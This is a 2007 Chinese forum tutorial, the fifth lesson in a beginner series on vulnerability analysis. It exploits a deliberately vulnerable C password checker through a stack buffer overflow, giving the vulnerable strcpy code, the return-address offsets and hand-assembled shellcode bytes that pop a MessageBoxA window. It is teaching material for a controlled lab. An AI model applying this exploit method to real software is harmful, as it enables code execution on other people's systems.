標(biāo)?題 :? 【技術(shù)專題】軟件漏洞分析入門_5_初級(jí)棧溢出D_植入任意代碼
作?者
:? failwest
時(shí)?間
:? 2007 - 12 - 16 , 17 : 06
鏈?接 :? http : //bbs.pediy.com/showthread.php?t=56656

5 講??初級(jí)棧溢出D——植入任意代碼

To?be?the?apostrophe?which?changed?“Impossible”?into?“I’m?possible”
——?failwest

麻雀雖小,五臟俱全

如果您順利的學(xué)完了前面
4 講的內(nèi)容,并成功的完成了第 2 講和第 4 講中的實(shí)驗(yàn),那么今天請(qǐng)跟我來(lái)一起挑戰(zhàn)一下劫持有漏洞的進(jìn)程,并向其植入惡意代碼的實(shí)驗(yàn),相信您成功完成這個(gè)實(shí)驗(yàn)后,學(xué)習(xí)的興趣和自信心都會(huì)暴增。

開始之前,先簡(jiǎn)要的回答一下前幾講跟貼中提出的問(wèn)題

代碼編譯少頭文件問(wèn)題:可能是個(gè)人習(xí)慣問(wèn)題,哪怕幾行長(zhǎng)的程序我也會(huì)丟到project里去build,而不是用cl,所以沒(méi)有注意細(xì)節(jié)。如果你們嫌麻煩,不如和我一樣用project來(lái)build,應(yīng)該沒(méi)有問(wèn)題的。否則的話,實(shí)驗(yàn)用的程序?qū)嵲谔?jiǎn)單了,這么一點(diǎn)小問(wèn)題自己決絕吧。另外,看到幾個(gè)同學(xué)說(shuō)為了實(shí)驗(yàn),專門恢復(fù)了古老的VC6
.0 ,我也感動(dòng)不已啊,呵呵。

地址問(wèn)題:溢出使用的地址一般都要在調(diào)試中重新確定,尤其是本節(jié)課中的哦。所以照抄我的實(shí)驗(yàn)指導(dǎo),很可能會(huì)出現(xiàn)地址錯(cuò)誤。特別是本節(jié)課中有若干個(gè)地址都需要在調(diào)試中重新確定,請(qǐng)大家務(wù)必注意。能夠屏蔽地址差異的通用溢出方法將會(huì)在后續(xù)課程中逐一講解。

還有就是抱歉周末中斷了一天的講座——無(wú)私奉獻(xiàn)也要過(guò)周末啊,大家體諒一下了。另外就是下周項(xiàng)目很緊張,估計(jì)不能每天都發(fā)貼了,爭(zhēng)取兩到三天發(fā)一次,請(qǐng)大家體諒。

如果有什么問(wèn)題,歡迎在跟貼中提出來(lái),一起討論,實(shí)驗(yàn)成功完成的同學(xué)記住要吱——吱——吱啊,呵呵

在基礎(chǔ)知識(shí)方面,本節(jié)沒(méi)有新的東西。但是這個(gè)想法實(shí)踐起來(lái)還是要費(fèi)點(diǎn)周折的。我設(shè)計(jì)的實(shí)驗(yàn)是最最簡(jiǎn)單的情況,為了防止一開始難度高,刻意的去掉了真正的漏洞利用中的一些步驟,為的是讓初學(xué)者理解起來(lái)更加清晰,自然。

本節(jié)將涉及極少量的匯編語(yǔ)言編程,不過(guò)不要怕,非常簡(jiǎn)單,我會(huì)給于詳細(xì)的解釋,不用專門去學(xué)匯編語(yǔ)言也能扛下來(lái)

另外本節(jié)需要最基本的使用OllyDbg進(jìn)行調(diào)試,并配合一些其他工具以確認(rèn)一些內(nèi)存地址。當(dāng)然這些地址的確認(rèn)方法有很多,我只給出一種解決方案,如果大家在實(shí)驗(yàn)的時(shí)候有什么心得,不妨在跟貼中拿出來(lái)和大家一起分享,一起進(jìn)步。

開始前簡(jiǎn)單回顧上節(jié)的內(nèi)容:

password
. txt?文件中的超長(zhǎng)畸形密碼讀入內(nèi)存后,會(huì)淹沒(méi)verify_password函數(shù)的返回地址,將其改寫為密碼驗(yàn)證正確分支的指令地址

函數(shù)返回時(shí),錯(cuò)誤的返回到被修改的內(nèi)存地址處取指執(zhí)行,從而打印出密碼正確字樣

試想一下,如果我們把buffer
[ 44 ] 中填入一段可執(zhí)行的機(jī)器指令(寫在password . txt文件中即可),再把這個(gè)返回地址更改成buffer [ 44 ] 的位置,那么函數(shù)返回時(shí)不就正好跳去buffer里取指執(zhí)行了么——那里恰好布置著一段用心險(xiǎn)惡的機(jī)器代碼!

本節(jié)實(shí)驗(yàn)的內(nèi)容就用來(lái)實(shí)踐這一構(gòu)想——通過(guò)緩沖去溢出,讓進(jìn)程去執(zhí)行布置在緩沖區(qū)中的一段任意代碼。



1
??


??
如上圖所示,在本節(jié)實(shí)驗(yàn)中,我們準(zhǔn)備向password . txt文件里植入二進(jìn)制的機(jī)器碼,并用這段機(jī)器碼來(lái)調(diào)用windows的一個(gè)API函數(shù)?MessageBoxA,最終在桌面上彈出一個(gè)消息框并顯示“failwest”字樣。事實(shí)上,您可以用這段代碼來(lái)做任何事情,我們這里只是為了證明技術(shù)的可行性。

為了完成在棧區(qū)植入代碼并執(zhí)行,我們?cè)谏瞎?jié)的密碼驗(yàn)證程序的基礎(chǔ)上稍加修改,使用如下的實(shí)驗(yàn)代碼:

#include? < stdio . h >
#include? < windows . h >
#define? PASSWORD? "1234567"
int? verify_password? ( char? * password )
{
??
int? authenticated ;
??
char? buffer [ 44 ];
??
authenticated = strcmp ( password , PASSWORD );
??
strcpy ( buffer , password ); //over?flowed?here!??
??
return? authenticated ;
}
main ()
{
??
int? valid_flag = 0 ;
??
char? password [ 1024 ];
??
FILE? *? fp ;
??
LoadLibrary ( "user32.dll" ); //prepare?for?messagebox
??
if (!( fp = fopen ( "password.txt" , "rw+" )))
??{
????
exit ( 0 );
??}
??
fscanf ( fp , "%s" , password );
??
valid_flag? =? verify_password ( password );
??
if ( valid_flag )
??{
????
printf ( "incorrect?password!\n" );
??}
??
else
??
{
????
printf ( "Congratulation!?You?have?passed?the?verification!\n" );
??}
??
fclose ( fp );
}

這段代碼在底 4 講中使用的代碼的基礎(chǔ)上修改了三處:

增加了頭文件windows
. h,以便程序能夠順利調(diào)用LoadLibrary函數(shù)去裝載user32 . dll

verify_password函數(shù)的局部變量buffer由
8 字節(jié)增加到 44 字節(jié),這樣做是為了有足夠的空間來(lái)“承載”我們植入的代碼

main函數(shù)中增加了LoadLibrary
( "user32.dll" ) 用于初始化裝載user32 . dll,以便在植入代碼中調(diào)用MessageBox

用VC6
.0 將上述代碼編譯(默認(rèn)編譯選項(xiàng),編譯成debug版本),得到有棧溢出的可執(zhí)行文件。在同目錄下創(chuàng)建password . txt文件用于程序調(diào)試。


我們準(zhǔn)備在password
. txt文件中植入二進(jìn)制的機(jī)器碼,在password . txt攻擊成功時(shí),密碼驗(yàn)證程序應(yīng)該執(zhí)行植入的代碼,并在桌面上彈出一個(gè)消息框顯示“failwest”字樣。
??
讓我們?cè)趧?dòng)手之前回顧一下我們需要完成的幾項(xiàng)工作:

1 :分析并調(diào)試漏洞程序,獲得淹沒(méi)返回地址的偏移——在password . txt的第幾個(gè)字節(jié)填偽造的返回地址

2 :獲得buffer的起始地址,并將其寫入password . txt的相應(yīng)偏移處,用來(lái)沖刷返回地址——填什么值

3 :向password . txt中寫入可執(zhí)行的機(jī)器代碼,用來(lái)調(diào)用API彈出一個(gè)消息框——編寫能夠成功運(yùn)行的機(jī)器代碼(二進(jìn)制級(jí)別的哦)

這三個(gè)步驟也是漏洞利用過(guò)程中最基本的三個(gè)問(wèn)題——淹到哪里,淹成什么以及開發(fā)shellcode

首先來(lái)看淹到什么位置和把返回地址改成什么值的問(wèn)題

本節(jié)驗(yàn)證程序里verify_password中的緩沖區(qū)為
44 個(gè)字節(jié),按照前邊實(shí)驗(yàn)中對(duì)棧結(jié)構(gòu)的分析,我們不難得出棧幀中的狀態(tài)如下圖所示:

?

2


如果在password . txt中寫入恰好 44 個(gè)字符,那么第 45 個(gè)隱藏的截?cái)喾鹡ull將沖掉authenticated低字節(jié)中的 1 ,從而突破密碼驗(yàn)證的限制。我們不妨就用 44 個(gè)字節(jié)做為輸入來(lái)進(jìn)行動(dòng)態(tài)調(diào)試。

??出于字節(jié)對(duì)齊、容易辨認(rèn)的目的,我們把“
4321 ”作為一個(gè)輸入單元。
??buffer
[ 44 ] 共需要 11 個(gè)這樣的單元
??第
12 個(gè)輸入單元將authenticated覆蓋
??第
13 個(gè)輸入單元將前棧幀EBP值覆蓋
??第
14 個(gè)輸入單元將返回地址覆蓋

分析過(guò)后我們需要進(jìn)行調(diào)試驗(yàn)證分析的正確性。首先在password
. txt中寫入 11 組“ 4321 ”共 44 個(gè)字符:


??

3


如我們所料,authenticated被沖刷后程序?qū)⑦M(jìn)入驗(yàn)證通過(guò)的分支:
?

4

用OllyDbg加載這個(gè)生成的PE文件進(jìn)行動(dòng)態(tài)調(diào)試,字符串拷貝函數(shù)過(guò)后的棧狀態(tài)如圖:

?

5

??
此時(shí)的棧區(qū)內(nèi)存如下表所示

局部變量名??內(nèi)存地址??偏移
3 處的值??偏移 2 處的值??偏移 1 處的值??偏移 0 處的值
buffer
[ 0 ~ 3 ]?? 0x0012FAF0??0x31? ( 1 )?? 0x32? ( 2 )?? 0x33? ( 3 )?? 0x34? ( 4 )
……??( 9 個(gè)雙字)?? 0x31? ( 1 )?? 0x32? ( 2 )?? 0x33? ( 3 )?? 0x34? ( 4 )
buffer [ 40 ~ 43 ]?? 0x0012FB18??0x31? ( 1 )?? 0x32? ( 2 )?? 0x33? ( 3 )?? 0x34? ( 4 )
authenticated
(被覆蓋前)??
0x0012FB1C??0x00??0x00??0x00??0x31? ( 1 )
authenticated
(被覆蓋后)??
0x0012FB1C??0x00??0x00??0x00??0x00? ( NULL )
前棧幀EBP?? 0x0012FB20??0x00??0x12??0xFF??0x80
返回地址?? 0x0012FB24??0x00??0x40??0x11??0x18

??
動(dòng)態(tài)調(diào)試的結(jié)果證明了前邊分析的正確性。從這次調(diào)試中我們可以得到以下信息:

buffer數(shù)組的起始地址為
0x0012FAF0 ——注意這個(gè)值只是我調(diào)試的結(jié)果,您需要在自己機(jī)器上重新確定!

password
. txt文件中第 53 到第 56 個(gè)字符的ASCII碼值將寫入棧幀中的返回地址,成為函數(shù)返回后執(zhí)行的指令地址

也就是說(shuō)將buffer的起始地址
0x0012FAF0 寫入password . txt文件中的第 53 到第 56 個(gè)字節(jié),在verify_password函數(shù)返回時(shí)會(huì)跳到我們輸入的字串開始出取指執(zhí)行。


我們下面還需要給password
. txt中植入機(jī)器代碼。

讓程序彈出一個(gè)消息框只需要調(diào)用windows的API函數(shù)MessageBox。MSDN對(duì)這個(gè)函數(shù)的解釋如下:

int? MessageBox (
??
HWND?hWnd ,?????????? //?handle?to?owner?window
??
LPCTSTR?lpText ,????? //?text?in?message?box
??
LPCTSTR?lpCaption ,?? //?message?box?title
??
UINT?uType?????????? //?message?box?style
);

hWnd?
[ in ]? 消息框所屬窗口的句柄,如果為NULL的話,消息框則不屬于任何窗口?
lpText?
[ in ]? 字符串指針,所指字符串會(huì)在消息框中顯示?
lpCaption?
[ in ]? 字符串指針,所指字符串將成為消息框的標(biāo)題?
uType?
[ in ]? 消息框的風(fēng)格(單按鈕,多按鈕等),NULL代表默認(rèn)風(fēng)格?


雖然只是調(diào)一個(gè)API,在高級(jí)語(yǔ)言中也就一行代碼,但是要我們直接用二進(jìn)制指令的形式寫出來(lái)也并不是一件容易的事。這個(gè)貌似簡(jiǎn)單的問(wèn)題解決起來(lái)還要用一點(diǎn)小心思。不要怕,我會(huì)給我的解決辦法,不一定是最好的,但是能解決問(wèn)題。

??我們將寫出調(diào)用這個(gè)API的匯編代碼,然后翻譯成機(jī)器代碼,用
16 進(jìn)制編輯工具填入password . txt文件。

注意:熟悉MFC的程序員一定知道,其實(shí)系統(tǒng)中并不存在真正的MessagBox函數(shù),對(duì)MessageBox這類API的調(diào)用最終都將由系統(tǒng)按照參數(shù)中字符串的類型選擇“A”類函數(shù)(ASCII)或者“W”類函數(shù)(UNICODE)調(diào)用。因此我們?cè)趨R編語(yǔ)言中調(diào)用的函數(shù)應(yīng)該是MessageBoxA。多說(shuō)一句,其實(shí)MessageBoxA的實(shí)現(xiàn)只是在設(shè)置了幾個(gè)不常用參數(shù)后直接調(diào)用MessageBoxExA。探究API的細(xì)節(jié)超出了本書所討論的范圍,有興趣的讀者可以參閱其他書籍。

用匯編語(yǔ)言調(diào)用MessageboxA需要三個(gè)步驟:

1. 裝載動(dòng)態(tài)鏈接庫(kù)user32 . dll。MessageBoxA是動(dòng)態(tài)鏈接庫(kù)user32 . dll的導(dǎo)出函數(shù)。雖然大多數(shù)有圖形化操作界面的程序都已經(jīng)裝載了這個(gè)庫(kù),但是我們用來(lái)實(shí)驗(yàn)的consol版并沒(méi)有默認(rèn)加載它

2. 在匯編語(yǔ)言中調(diào)用這個(gè)函數(shù)需要獲得這個(gè)函數(shù)的入口地址

3? 在調(diào)用前需要向棧中按從右向左的順序壓入MessageBoxA的四個(gè)參數(shù)。當(dāng)然,我肯定壓如failwest啦,哈哈

對(duì)于第一個(gè)問(wèn)題,為了讓植入的機(jī)器代碼更加簡(jiǎn)潔明了,我們?cè)趯?shí)驗(yàn)準(zhǔn)備中構(gòu)造漏洞程序的時(shí)候已經(jīng)人工加載了user32
. dll這個(gè)庫(kù),所以第一步操作不用在匯編語(yǔ)言中考慮。

對(duì)于第二個(gè)問(wèn)題,我們準(zhǔn)備直接調(diào)用這個(gè)API的入口地址,這個(gè)地址需要在您的實(shí)驗(yàn)機(jī)器上重新確定,因?yàn)閡ser32
. dll中導(dǎo)出函數(shù)的地址和操作系統(tǒng)版本和補(bǔ)丁號(hào)有關(guān),您的地址和我的地址不一定一樣。

MessageBoxA的入口參數(shù)可以通過(guò)user32
. dll在系統(tǒng)中加載的基址和MessageBoxA在庫(kù)中的偏移相加得到。為啥?看下看雪老大《軟件加密與解密》中關(guān)于虛擬地址這些基礎(chǔ)知識(shí)的論述吧,相信版內(nèi)也有很多相關(guān)資料。

這里簡(jiǎn)單解釋下,MessageBoxA是user32
. dll的一個(gè)導(dǎo)出函數(shù),要確定它首先要知道user32 . dll在虛擬內(nèi)存中的裝載地址(與操作系統(tǒng)版本有關(guān)),然后從這個(gè)基地址算起,找到MessageBoxA這個(gè)導(dǎo)出函數(shù)的偏移,兩者相加,就是這個(gè)API的虛擬內(nèi)存地址。

具體的我們可以使用VC6
.0 自帶的小工具“Dependency?Walker”獲得這些信息。您可以在VC6 .0 安裝目錄下的Tools下找到它:
?

6

??
運(yùn)行Depends后,隨便拖拽一個(gè)有圖形界面的PE文件進(jìn)去,就可以看到它所使用的庫(kù)文件了。在左欄中找到并選中user32 . dll后,右欄中會(huì)列出這個(gè)庫(kù)文件的所有導(dǎo)出函數(shù)及偏移地址;下欄中則列出了PE文件用到的所有的庫(kù)的基地址。

?

7


??
如上圖示,user32 . dll的基地址為 0x77D40000 ,MessageBoxA的偏移地址為 0x000404EA 。基地址加上偏移地址就得到了MessageBoxA在內(nèi)存中的入口地址: 0x77D804EA


??
有了這個(gè)入口地址,就可以編寫進(jìn)行函數(shù)調(diào)用的匯編代碼了。這里我們先把字符串“failwest”壓入棧區(qū),消息框的文本和標(biāo)題都顯示為?“failwest”,只要重復(fù)壓入指向這個(gè)字符串的指針即可;第一個(gè)和第四個(gè)參數(shù)這里都將設(shè)置為NULL。寫出的匯編代碼和指令所對(duì)應(yīng)的機(jī)器代碼如下:

???????????

機(jī)器代碼(
16 進(jìn)制)??匯編指令??注釋
33? DB??XOR?EBX , EBX??壓入NULL結(jié)尾的”failwest”字符串。之所以用EBX清零后入棧做為字符串的截?cái)喾菫榱吮苊狻癙USH? 0 ”中的NULL,否則植入的機(jī)器碼會(huì)被strcpy函數(shù)截?cái)唷?br /> 53?????????????????? PUSH?EBX??
68?77?65?73?74?? PUSH? 74736577??
68?66?61?69?6C??
PUSH? 6C696166??
8B?
C4????????????????MOV?EAX , ESP??EAX里是字符串指針
53?????????????????? PUSH?EBX??四個(gè)參數(shù)按照從右向左的順序入棧,分別為 :
?????????????????????????????????????????????????(
0 , failwest , failwest , 0 )
??????????????????????????????????????????????????
消息框?yàn)槟J(rèn)風(fēng)格,文本區(qū)和標(biāo)題都是“failwest”
50??????????????????? PUSH?EAX??
50??????????????????? PUSH?EAX??
53??????????????????? PUSH?EBX??
B8?EA?
04? D8? 77?? MOV?EAX ,? 0x77D804EA?? 調(diào)用MessageBoxA。注意不同的機(jī)器這里的????????????????????????????????????
????????????????????????????????????????????????????????????????????函數(shù)入口地址可能不同,請(qǐng)按實(shí)際值填入
!
FF?D0?????????????????CALL?EAX??


從匯編指令到機(jī)器碼的轉(zhuǎn)換可以有很多種方法。調(diào)試匯編指令,從匯編指令中提取出二進(jìn)制機(jī)器代碼的方法將在后面逐一介紹。由于這里僅僅用了
11 條指令和對(duì)應(yīng)的 26 個(gè)字節(jié)的機(jī)器代碼,如果您一定要現(xiàn)在就弄明白指令到機(jī)器碼是如何對(duì)應(yīng)的話,直接查閱Intel的指令集手工翻譯也不是不可以。

??將上述匯編指令對(duì)應(yīng)的機(jī)器代碼按照上一節(jié)介紹的方法以
16 進(jìn)制形式逐字抄入password . txt,第 53 56 字節(jié)填入buffer的起址 0x0012FAF0 ,其余的字節(jié)用 0x90 ( nop指令 ) 填充,如圖:

?

8


換回文本模式可以看到這些機(jī)器代碼所對(duì)應(yīng)的字符:
?


9

這樣構(gòu)造了password . txt之后在運(yùn)行驗(yàn)證程序,程序執(zhí)行的流程將按下圖所示:




10


程序運(yùn)行情況如圖:
?

11


成功的彈出了我們植入的代碼!

您成功了嗎?如果成功的喚出了藏在password
. txt中的消息框,請(qǐng)?jiān)诟N中吱一下,和大家一起分享您喜悅的心情,這是我們學(xué)習(xí)技術(shù)的源動(dòng)力。

最后總結(jié)一下本節(jié)實(shí)驗(yàn)的幾個(gè)要點(diǎn):
確認(rèn)函數(shù)返回地址與buffer數(shù)組的距離——淹哪里
確認(rèn)buffer數(shù)組的內(nèi)存地址——把返回地址淹成什么(需要調(diào)試確定,與機(jī)器有關(guān))
編制調(diào)用消息框的二進(jìn)制代碼,關(guān)鍵是確定MessageBoxA的虛擬內(nèi)存地址(與機(jī)器有關(guān))

我實(shí)驗(yàn)用的PE和password
. txt在這里:

想要PE的請(qǐng)點(diǎn)這里:stack_overflow_exec
. rar
想要Passwrd
. txt的請(qǐng)點(diǎn)這里:password . txt


這節(jié)課的題目是麻雀雖小,五臟俱全。這是因?yàn)檫@節(jié)課第一次把漏洞利用的全國(guó)程展現(xiàn)給了大家:
密碼驗(yàn)證程序讀入一個(gè)畸形的密碼文件,竟然蹦出了一個(gè)消息框!
Word在解析doc文檔時(shí),不知有多少個(gè)內(nèi)存復(fù)制和操作的函數(shù)調(diào)用,如果哪一個(gè)有溢出漏洞,那么office讀入一個(gè)畸形的word文檔時(shí),會(huì)不會(huì)彈出個(gè)消息框,開個(gè)后門,起個(gè)木馬啥的?
IIS和APACHE在解析WEB請(qǐng)求的時(shí)候,也不知道有多少內(nèi)存復(fù)制操作,如果存在溢出漏洞,那么攻擊者發(fā)送一個(gè)畸形的WEB請(qǐng)求,會(huì)不會(huì)導(dǎo)致server做出點(diǎn)奇怪的事情?
RPC調(diào)用中如果出現(xiàn)……

上面說(shuō)的并不是危言聳聽,全都是真實(shí)世界中曾經(jīng)出現(xiàn)過(guò)的漏洞攻擊案例。本節(jié)的例子是現(xiàn)實(shí)中的漏洞利用案例的精簡(jiǎn)版,用來(lái)闡述基本概念并驗(yàn)證技術(shù)可行性。隨著后面的深入討論,您會(huì)發(fā)現(xiàn)漏洞研究是多么有趣的一門技術(shù)。



在本節(jié)最后,我給出一個(gè)課后作業(yè)和幾個(gè)思考題——因?yàn)橄乱恢v可能會(huì)稍微隔幾天,大家不妨自己動(dòng)手練習(xí)練習(xí),記住光聽課是沒(méi)有的,動(dòng)手非常重要!

課后作業(yè):如果您細(xì)心的話,在點(diǎn)擊上面的ok按鈕之后,程序會(huì)崩潰:


?圖
12

??
這是因?yàn)镸essageBoxA調(diào)用的代碼執(zhí)行完成之后,我們沒(méi)有寫安全退出的代碼的緣故。您能把我給出的二進(jìn)制代碼稍微修改下,使之能夠在點(diǎn)擊之后干凈利落的退出進(jìn)程么?

如果你能做到這一點(diǎn),不妨把你的解決方案也拿出來(lái)和大家一起分享,一起進(jìn)步。

思考題:

1 :我反復(fù)強(qiáng)調(diào),buffer的位置在實(shí)驗(yàn)中需要自己在調(diào)試中確定,不同機(jī)器環(huán)境可能不一樣。
大家都知道,程序運(yùn)行中,棧的位置是動(dòng)態(tài)變化的,也就是說(shuō)buffer的內(nèi)存地址可能每次都不一樣,在真實(shí)的漏洞利用中,尤其是遇到多線程的程序,每次的緩沖區(qū)位置都是不同的。那么我們?cè)趺幢WC在函數(shù)返回時(shí)總能夠準(zhǔn)確的跳回buffer,找到植入的代碼呢
?

比較通用的定位植入代碼(shellcode)的方法我會(huì)在后面的講座中系統(tǒng)介紹,這里先提一下,大家可以思考思考

2 :我也反復(fù)強(qiáng)調(diào),API的地址需要自己確定,不同環(huán)境會(huì)有不同。這樣植入代碼的通用性還是會(huì)大打折扣。有沒(méi)有通用的定位windows?API的方法呢?

以上兩個(gè)問(wèn)題是影響windows平臺(tái)下漏洞利用穩(wěn)定性的兩個(gè)很關(guān)鍵的問(wèn)題。我選擇了windows平臺(tái)來(lái)講解,是為了照顧初學(xué)者對(duì)linux的進(jìn)入門檻和windows下美輪美奐的調(diào)試工具。但windows的溢出是相對(duì)linux較難的,進(jìn)入簡(jiǎn)單,深造難。不過(guò)我相信大家能啃下來(lái)的。

為了不至于在一節(jié)課中引入太多新東西,我在本節(jié)課中均采用現(xiàn)場(chǎng)調(diào)試確定的方法,并沒(méi)有考慮通用性問(wèn)題。在這里鼓勵(lì)大家積極思考,有想法別忘了在跟貼中分享出來(lái)。